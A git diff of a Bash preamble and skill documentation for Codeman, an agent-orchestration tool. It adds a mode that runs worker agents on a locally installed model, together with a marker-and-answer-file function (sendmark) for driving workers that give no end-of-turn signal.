_dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness TUI's
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
@@ -234,21 +255,126 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
done
return 1
}
# ---- the local model: the model Codeman installed on this Mac, as a worker ----
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
# One GET of an EXPERIMENTAL route. It downloads, installs and starts nothing: installing is
# a person's decision, made in Codeman's "Run a local model" window.
local_model() {
local r code body out
r=$("${CURL[@]}" -w '\n%{http_code}' "$API/api/v1/local-model")
code=${r##*$'\n'}; body=${r%$'\n'*}
case "$code" in
200) out=$(jq -c '
def say: (.text // "") as $t
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
message:(if $i.error then ($i.error.message | say)
else "The model is installed, but the server offers no session on it right now." end)} + $base
end
elif $d.recommendation.reason == "not-macos" then
{spawnable:false, reason:"not-mac",
message:("Local models need a Mac with Apple silicon, and this Codeman runs on " + ($d.hardware.platform // "another system") + ".")}
elif $i.state == "idle" then
{spawnable:false, reason:"not-installed",
message:("No local model is installed. " + (if $d.recommendation.verdict == "none" then ($d.recommendation.headline | say)
else "A person installs one with Run a local model on the Codeman welcome screen." end))}
else
{spawnable:false, reason:"install-unfinished", step:$i.step, errorCode:$i.error.code,
message:("The install is " + ($i.state // "unfinished") + (if $i.step then " at its " + $i.step + " step" else "" end)
+ (if $i.error then ": " + ($i.error.message | say) else "." end)
+ " Only the Run a local model window continues it.")} + $base
end
| with_entries(select(.value != null))' <<<"$body" 2>/dev/null) ;;
000) out=$(jq -nc --arg a "$API" '{spawnable:false,reason:"unreachable",message:("No answer from Codeman at " + $a + ".")}') ;;
401) out='{"spawnable":false,"reason":"unauthorized","message":"Codeman refused the credentials (401): see the codeman skill, section 6."}' ;;
403) jq -e '.errorCode == "FORBIDDEN"' <<<"$body" >/dev/null 2>&1 &&
out='{"spawnable":false,"reason":"admin-only","message":"In multi-user mode the local model is for admins only: ask an admin of this Codeman."}' ;;
404) out='{"spawnable":false,"reason":"unsupported","message":"This Codeman has no local model support: it predates it."}' ;;
esac
[ -n "${out:-}" ] || out=$(jq -nc --arg c "$code" --arg t "$body" \
'{spawnable:false,reason:"error",status:$c,message:((($t | fromjson? | .error?) // $t)[0:300])}')
printf '%s\n' "$out"
[ "$(jq -r .spawnable <<<"$out")" = true ]
}
# _local_ready_model -> local_model's JSON once a `local` worker can start, rc 1 with the
# reason on stderr otherwise. An installed model whose runtime is stopped is started first,
# with exactly what the local model window's Start button sends, and read again until it
# runs (bounded, about 30 s). ⚠️ That start also undoes a Stop the person made: the runtime
# starts with Codeman again from then on. Concurrent spawns may both send it; the server
# runs one runtime verb at a time and a second start keeps the runtime that runs.
_local_ready_model() {
local lm r i=0
lm=$(local_model) || { jq -r '"no local model to spawn on (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
r=$("${CURL[@]}" -X POST "$API/api/v1/local-model/runtime" -H 'Content-Type: application/json' -d '{"action":"start"}')
jq -e '.success == true' <<<"$r" >/dev/null 2>&1 || {
echo "could not start the local model runtime: $(jq -r '.error // empty' <<<"$r" 2>/dev/null || printf '%s' "$r" | head -c 300)" >&2
return 1; }
while :; do
lm=$(local_model) || { jq -r '"the local model runtime was started, but (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
i=$((i+1)); [ "$i" -lt 15 ] || { echo "the local model runtime did not report running within 30 s" >&2; return 1; }
sleep 2
done
}
# spawn_worker <caseName> [mode] -> session id on stdout, diagnostics on stderr.
# quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means
# a READY worker whose end-of-turn signal can be trusted -- a claude worker in a
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer.
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer -- or a
# `local` worker (below) whose composer drew, which takes a prompt but has NO end-of-turn
# signal unless its harness is claude: drive that one with sendmark.
# Anything less is rc 1 with EMPTY stdout, and the half-spawned session is deleted here
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
return 1; }
fi
# parentSessionId doubles the CURL header, so a spawn_worker copied off the shared
# curl (or a body someone rebuilt from this recipe) still carries its lineage.
# deepseek: ask for the same permission posture the Run button sends, because the
@@ -256,21 +382,36 @@ spawn_worker() {
# an approval row is a worker no fan-out can finish. It is not an escalation --
# claude workers already spawn with permissions skipped, and in multi-user mode the
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" then {advisorModel:$a} else {} end)')")
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
jq -r '"quick-start wants a person to confirm something, so no worker was started: " + ((.data // .) | tojson)' <<<"$q" >&2
return 1
fi
sid=$(jq -r 'if .success then .data.sessionId else empty end' <<<"$q")
# NOT retryable in a loop: every quick-start failure code is terminal (§5.1).
[ -n "$sid" ] || { jq -c '{error,errorCode}' <<<"$q" >&2; return 1; }
# A server without advisor support DROPS the field instead of refusing it, so read it
# back: a worker silently missing the advisor it was asked for is worth one line.
if [ "$mode" = claude ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
if [ "$mode" = claude ] && [ -z "$cm" ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
[ "$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.advisorModel // empty')" != "$CODEMAN_WORKER_ADVISOR" ]; then
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
# The one non-claude mode with REAL end-of-turn signals: its TUI reports
# idle/working/blocked to Codeman, so sendwait, until=stop and the Approvals
@@ -316,10 +457,10 @@ spawn_worker() {
# order; the sessionId column is EMPTY for a spawn that failed (stderr has why).
# CONCURRENT: N workers cost about what one costs. Spawning them one Bash call at a time
# is the single biggest avoidable delay in this skill. A bare name is a claude worker;
# `beta:deepseek` makes that one a DeepSeek Harness worker, and a mixed fleet is one
# call. Case names must be UNIQUE: two workers in one case directory co-edit the same
# tree (§4), so a repeat is an error here, not a race (the mode never disambiguates two
# workers, since they would still share the directory).
# `beta:deepseek` makes that one a DeepSeek Harness worker, `summ:local` a worker on the
# local model, and a mixed fleet is one call. Case names must be UNIQUE: two workers in
# one case directory co-edit the same tree (§4), so a repeat is an error here, not a race
# (the mode never disambiguates two workers, since they would still share the directory).
spawn_workers() {
local d spec n m i=0
[ "$#" -gt 0 ] || { echo "spawn_workers: no case names given" >&2; return 1; }
@@ -353,7 +494,7 @@ spawn_workers() {
# wait that was open the whole time is what reports the turn's end. Trustworthy for a worker
# spawn_worker handed back -- claude (hooks vetted) or deepseek (status bridge) --
# and for those only. Hook-less workspaces and the other modes resolve on flapping
# idle: markers instead (§5.5). ⚠️ A dsh worker running a profile that does not
# idle: markers instead (§5.5, sendmark below). ⚠️ A dsh worker running a profile that does not
# implement the status contract is the one case that LOOKS like claude but is not:
# it accepts the send and then burns both waits. One timeout on a dsh worker whose
# pane clearly finished means that profile, so switch that worker to markers.
@@ -418,6 +559,108 @@ sendwait() {
fi
printf '%s\n' "$r"
}
# sendmark <sid> <prompt> [timeoutSec] -> one JSON line, for an AGENT worker with no
# end-of-turn signal: a `local` worker whose agent is not claude, a hook-less claude, and
# every external agent mode but deepseek (a shell worker takes §5.5's echo form instead):
# {"token":…,"delivered":true,"matched":true,"answerFile":"<path>","answer":"<text>",…}
# rc 0: the answer file was read, after the marker or once the file held still (below).
# 2: neither within the timeout (default 600 s; the worker may still be working, so nothing
# is deleted). 3: the worker's pane ended. 4: the marker printed, but no answer file turned
# up within SENDMARK_FILE_WAIT seconds of it (default 120). 1: the send or a wait failed
# (`detail` says why).
# It adds ONE sentence to your prompt (joined onto one line, as sendwait does): write the
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
# instruction while it plans. That is why the answer FILE is the second gate. ⚠️ And a
# full-screen agent can print the marker without it ever matching: opencode redraws its
# spinner between the pieces a model streams, so the stripped stream reads D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…
# (measured on opencode 1.3.0 on Linux, a reply streamed a character or two at a time; the screen
# showed the whole token). So the file is also the way out WITHOUT the marker: present, not
# empty, and unchanged between two rounds of the marker wait (rounds of at most 10 s), it is
# read and `matched` says false. It is read from this machine's disk, only when it is a
# regular file (a symlink is refused), at most 256 KB of it. It stays in the worker's folder
# (§5.14).
# SENDMARK_ANSWER_FILE=0 asks for the marker alone, for a worker that cannot write where it
# runs (codex in a folder it runs read-only, an agent that asks before it writes a file, a
# worker on another host): rc 0 then means only "the marker printed", and the answer is
# yours to read (last_text for codex, §5.4). Without the file there is no way out but the
# marker, so on a full-screen agent that can be rc 2 for a reply that finished.
sendmark() {
local sid="${1:?}" p="${2:?}" t="${3:-600}" tok mark file='' wd r w='' rem end start got=0 ended=0 matched=false i=0 rc=2 fp prev=''
case "$p" in *$'\n'*|*$'\r'*)
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
file="$wd/codeman-answer-$tok.md"
p="$p (When you are done: write your complete answer to the file codeman-answer-$tok.md in your current working directory, and only after that file is written, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
else
p="$p (When you are done, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
fi
r=$("${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \
--data-binary "$(jq -nc --arg p "$p" --arg c "$CID-$sid" --argjson s "$(date +%s)" \
'{input:($p+"\r"),useMux:true,clientId:$c,seq:$s,wait:"exit",waitTimeout:1000}')")
if ! jq -e '.success and .data.delivered' <<<"$r" >/dev/null 2>&1; then
jq -e '.data.wait.ended or .data.wait.signal == "exit"' <<<"$r" >/dev/null 2>&1 && rc=3 || rc=1
jq -nc --arg t "$tok" --arg r "$r" '{token:$t,delivered:false,matched:false,answerFile:null,answer:null,detail:($r | fromjson? // $r)}'
return "$rc"
fi
start=$(date +%s); end=$((start + t))
while :; do # bounded waits of at most 10 s each, until the timeout
rem=$((end - $(date +%s))); [ "$rem" -ge 1 ] || break
[ "$rem" -le 10 ] || rem=10
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" --data-urlencode "match=$mark" \
--data-urlencode 'from=buffer' --data-urlencode "timeout=$((rem * 1000))")
jq -e '.data.wait.matched' <<<"$w" >/dev/null 2>&1 && { matched=true; break; }
jq -e '.data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || {
jq -nc --arg t "$tok" --arg w "$w" '{token:$t,delivered:true,matched:false,answerFile:null,answer:null,detail:($w | fromjson? // $w)}'
return 1; }
# No marker this round. The answer file is the other way out (see above): it counts once
# it is a non-empty regular file whose checksum did not change since the last round.
if [ -n "$file" ] && [ ! -L "$file" ] && [ -f "$file" ] && [ -s "$file" ]; then
fp=$(cksum < "$file"); [ "$fp" = "$prev" ] && { got=1; break; }; prev=$fp
else
prev=''
fi
done
if [ "$matched" = true ] && [ -n "$file" ]; then
while :; do
[ -L "$file" ] && { echo "sendmark: $file is a symlink, not read" >&2; break; }
[ -f "$file" ] && { got=1; break; }
[ "$i" -lt "${SENDMARK_FILE_WAIT:-120}" ] || break
# Two seconds of waiting that also notices a worker that died: an exit wait answers at
# once then. A wait that did not answer (server gone) still costs its two seconds.
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait" --data-urlencode 'until=exit' --data-urlencode 'timeout=2000')
jq -e '.data.wait.signal == "exit" or .data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || sleep 2
i=$((i + 2))
done
fi
if [ "$got" = 1 ]; then
head -c 262144 "$file" | jq -Rsc --arg t "$tok" --arg f "$file" --argjson m "$matched" \
--argjson s "$(($(date +%s) - start))" --argjson c "$(($(wc -c < "$file")))" \
'{token:$t,delivered:true,matched:$m,answerFile:$f,answer:.,truncated:($c > 262144),waitedSec:$s}'
return 0
fi
jq -nc --arg t "$tok" --arg f "$file" --argjson m "$matched" --argjson e "$ended" --argjson s "$(($(date +%s) - start))" \
'{token:$t,delivered:true,matched:$m,answerFile:(if $f == "" then null else $f end),answer:null,ended:($e == 1),waitedSec:$s}'
if [ "$matched" = true ]; then
[ -z "$file" ] && return 0
[ "$ended" = 1 ] && return 3
return 4
fi
[ "$ended" = 1 ] && return 3
return 2
}
# last_text <sid> [prev] -> that worker's last assistant message (claude, codex and
# deepseek write a real transcript; the other modes have none, so read the terminal
# instead -- §5.4). Polled, because the transcript write LAGS the stop signal, and
@@ -440,10 +683,10 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.44.0
CODEMAN_PREAMBLE=1.50.0
PREAMBLE
)
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
```
Every later Bash call that touches the API starts with the same two loader lines from
@@ -494,7 +737,7 @@ and no per-call body to hand-build.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
N=(alpha beta) # INVENT one fresh case name per worker; never list cases first
# (a name may carry a mode: `beta:deepseek`, see below)
T=('reply with one line: the absolute path of your working directory'
@@ -541,8 +784,8 @@ the time went into deliberation, not the API. The four things that actually cost
polled pid for nothing, and shipped its workers without lineage.
- **Verifying what is already checked for you.** Two verifications specifically are not
worth a call here, because `spawn_worker` carries them: the hooks check (it refuses a
name that resolved to a hook-less directory with one local grep, so a worker it hands
back always has a working `stop` and `sendwait` is trustworthy), and the pid poll,
name that resolved to a hook-less directory with one local grep, so a claude worker it
hands back always has a working `stop` and `sendwait` is trustworthy), and the pid poll,
which is dead weight because `wait-output` already blocks on the composer.
Four things this block leans on, each one link away, no detour needed to run it:
@@ -602,6 +845,71 @@ Three things to know before you spawn one:
worker whose pane clearly finished: that profile is one of them, so drive it with
markers instead.
### Claude in the cloud, a local model on this Mac
When Codeman has installed a model on the Mac it runs on (the **Run a local model** button
on its welcome screen), you can hand work to that model from here. You stay the planner and
the reviewer in the cloud; the Mac does the bulk. `spawn_worker <name> local` starts a worker
on the installed model, run by the coding agent it was installed with (OpenCode on the Mac
it was tested on), and from then on it is the same verbs. It mixes into one fleet like any
other mode: `spawn_workers plan review:deepseek summ:local`.
Reach for it when:
- **The work is bulk, not judgment**: summarizing a folder, classifying, first drafts of
tests, boilerplate. A local turn has no per-token bill.
- **The files should stay on this machine**: the worker reads them here, and only what you
read back from it enters your own context.
- **You want a second opinion from a different model**, with different blind spots.
- **The worker should not depend on the network**: the model's runtime listens on this Mac
only, started with its cloud features off. You, the lead, still need a connection.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
local_model || exit 1 # one JSON line: model, agent, endpoint; or the reason there is none
SID=$(spawn_worker summ local) || exit 1 # starts a stopped runtime first; empty = failed
WD=$("${CURL[@]}" "$API/api/v1/sessions/$SID" | jq -r .data.workingDir)
mkdir -p "$WD/input" && cp ./docs/*.md "$WD/input/" # inside its own folder (§5.9), apart from its CLAUDE.md
R=$(sendmark "$SID" 'Summarize each .md file in the folder input, two lines each' 900); RC=$?
jq -r '.answer // "(no answer)"' <<<"$R"
if [ "$RC" = 0 ]; then delete_session "$SID" >/dev/null
else echo "kept $SID (sendmark rc $RC: 2 no answer yet, 3 ended, 4 no answer file): $R"; fi
```
`sendmark` is the local worker's `sendwait`: it adds one sentence to your prompt asking for
the answer in `codeman-answer-<token>.md` in the worker's folder and then a split marker,
waits for the marker with `wait-output`, and reads the file back. OpenCode can draw the
marker in pieces that never match, so a file that holds still between two checks ends the
wait too ([§5.16](reference/verbs.md#516-a-worker-on-the-local-model)). Read its `answer`,
not the pane: a full-screen agent's pane is a poor transcript. ⚠️ A marker proves that the model
printed a token, not that the work is done or right. Review what comes back the way you
would review any first draft.
The limits, before you promise the user anything:
- **A Mac with Apple silicon, and a model a person installed** in Codeman's local model
window. This skill never installs one: that is a download of many gigabytes the person
confirms there. `local_model` says what is missing (`not-mac`, `not-installed`,
`install-unfinished`, `blocked`, `admin-only`, `unsupported`), so tell the user that
instead of guessing.
- **One model, one request at a time.** The runtime loads one model and answers one request
at a time, so two local workers take turns rather than work side by side. Fan out to the
cloud; give the Mac a queue.
- **Slower than a cloud model.** The one measured pair, OpenCode with Qwen3.6 35B-A3B on an
M5 Pro with 48 GB, ran at about 68 tokens a second, and the first request after a start
loads the model first. A local worker run by claude spends minutes on its first answer
(its fixed prompt is about 36,000 tokens).
- **Markers, not hooks.** OpenCode reports no end of turn, so `sendwait` answers 400 for
that worker; `sendmark` is the way through. If the installed agent is claude, the worker
has hooks and `sendwait` works as for any claude worker.
- **Spawning can change what the person set.** A stopped runtime is started, which also
undoes the person's Stop: it then starts with Codeman again. And while a local worker is
open, the window refuses Stop and Remove and names your workers, so delete them as soon
as they are done.
- **Admin only in multi-user mode, and experimental.** The local model routes answer 403
for anyone else (`admin-only`), and they may change in any release.
## 2. What do you want to do?
One row per job. Acting on this table alone is correct; the §5 links are the detail.
@@ -611,7 +919,8 @@ One row per job. Acting on this table alone is correct; the §5 links are the de
| start a worker **where the work is** | `POST /api/v1/quick-start {"caseName":…}`, which **creates** `~/codeman-cases/<name>` unless the name is already a case. Any other path (a git worktree): `POST /api/v1/sessions {"workingDir":…}` then `POST /api/v1/sessions/:id/interactive`. Both install hooks by default, so expect full signals in either, and **verify** rather than assume. N workers means N worktrees | [§5.1](reference/verbs.md#51-where-to-spawn) |
| know a new worker can accept a prompt | `GET .../wait-output?match=shift+tab&from=buffer` (urlencode the `+`); a `deepseek` worker draws `❯` instead, and its boot `stop` fires ~300 ms BEFORE that, so never read the signal as readiness | [§5.2](reference/verbs.md#52-readiness) |
| deliver a task **and** know when it finished | `POST .../input` with `"input":"…\r"`, `clientId`, `seq`, `"wait":true`. Resolves on `stop`, so it is trustworthy where the signal is real: claude mode with hooks (installed by default, but the operator can disable it and remote sessions never get them) and `deepseek` mode through its status bridge. Costs the worker one billed turn | [§5.3](reference/verbs.md#53-send-a-task-and-wait) |
| know a hook-less worker finished | it has no `stop`, and `wait:true` there resolves on flapping `idle` **without erroring**: make it print a split, unique marker and `wait-output` on that instead | [§5.5](reference/verbs.md#55-markers-for-hook-less-workers) |
| know a hook-less worker finished | it has no `stop`, and `wait:true` there resolves on flapping `idle` **without erroring**: make it print a split, unique marker and `wait-output` on that instead. For an agent worker, `sendmark <sid> "<prompt>"` does all of it and reads the answer back | [§5.5](reference/verbs.md#55-markers-for-hook-less-workers) |
| hand work to the local model on this Mac (cheap bulk work, files that stay here, a second opinion) | `local_model` says what is installed; `spawn_worker <name> local` (or `name:local` in `spawn_workers`) starts a worker on it; `sendmark` tasks it and returns the answer | [Local model](#claude-in-the-cloud-a-local-model-on-this-mac), [§5.16](reference/verbs.md#516-a-worker-on-the-local-model) |
| read the answer | `GET .../last-response`, **polled** (claude, codex and deepseek write a transcript; empty for the other modes) | [§5.4](reference/verbs.md#54-read-the-answer) |
| know if it is alive | `GET .../wait?until=exit&timeout=1000`: an immediate `signal:"exit"` means dead. `status` and `pid` both lie | [§5.6](reference/verbs.md#56-alive-and-stuck) |
| know if it is stuck | `GET .../active-tools` and `GET .../run-summary` are structured and free; two `terminal?tail=` samples are the crude fallback | [§5.6](reference/verbs.md#56-alive-and-stuck) |
@@ -727,6 +1036,7 @@ these**; open the one row you actually hit.
| [5.13 Messaging claude workers](reference/verbs.md#513-messaging-claude-workers) | `ListAgents` / `SendMessage` instead of the HTTP path |
| [5.14 Clean up](reference/verbs.md#514-clean-up) | what deleting a session does **not** remove, and how to list the case dirs you left |
| [5.15 Agent inbox](reference/verbs.md#515-agent-inbox) | messages that wait for the receiver instead of being typed: post, read until ack, who counts as the receiver |
| [5.16 A worker on the local model](reference/verbs.md#516-a-worker-on-the-local-model) | what `local_model` answers, what `spawn_worker <name> local` does step by step, and every `sendmark` outcome |
## 6. Setup and auth
+242 -16
View File
@@ -1,4 +1,4 @@
# ---- Codeman agent preamble 1.44.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -49,11 +49,15 @@ _composer_up() { # <sid> <timeoutMs> -> "true"/"false". `shift+tab` is the one
--data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
}
_mark_up() { # <sid> <mark> <timeoutMs> -> "true"/"false": a literal, space-free token
# in the pane's output, read from the buffer so a composer drawn before the wait counts.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${2}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${3}" | jq -r '.data.wait.matched // false'
}
_dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness TUI's
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
@@ -113,21 +117,126 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
done
return 1
}
# ---- the local model: the model Codeman installed on this Mac, as a worker ----
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
# One GET of an EXPERIMENTAL route. It downloads, installs and starts nothing: installing is
# a person's decision, made in Codeman's "Run a local model" window.
local_model() {
local r code body out
r=$("${CURL[@]}" -w '\n%{http_code}' "$API/api/v1/local-model")
code=${r##*$'\n'}; body=${r%$'\n'*}
case "$code" in
200) out=$(jq -c '
def say: (.text // "") as $t
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
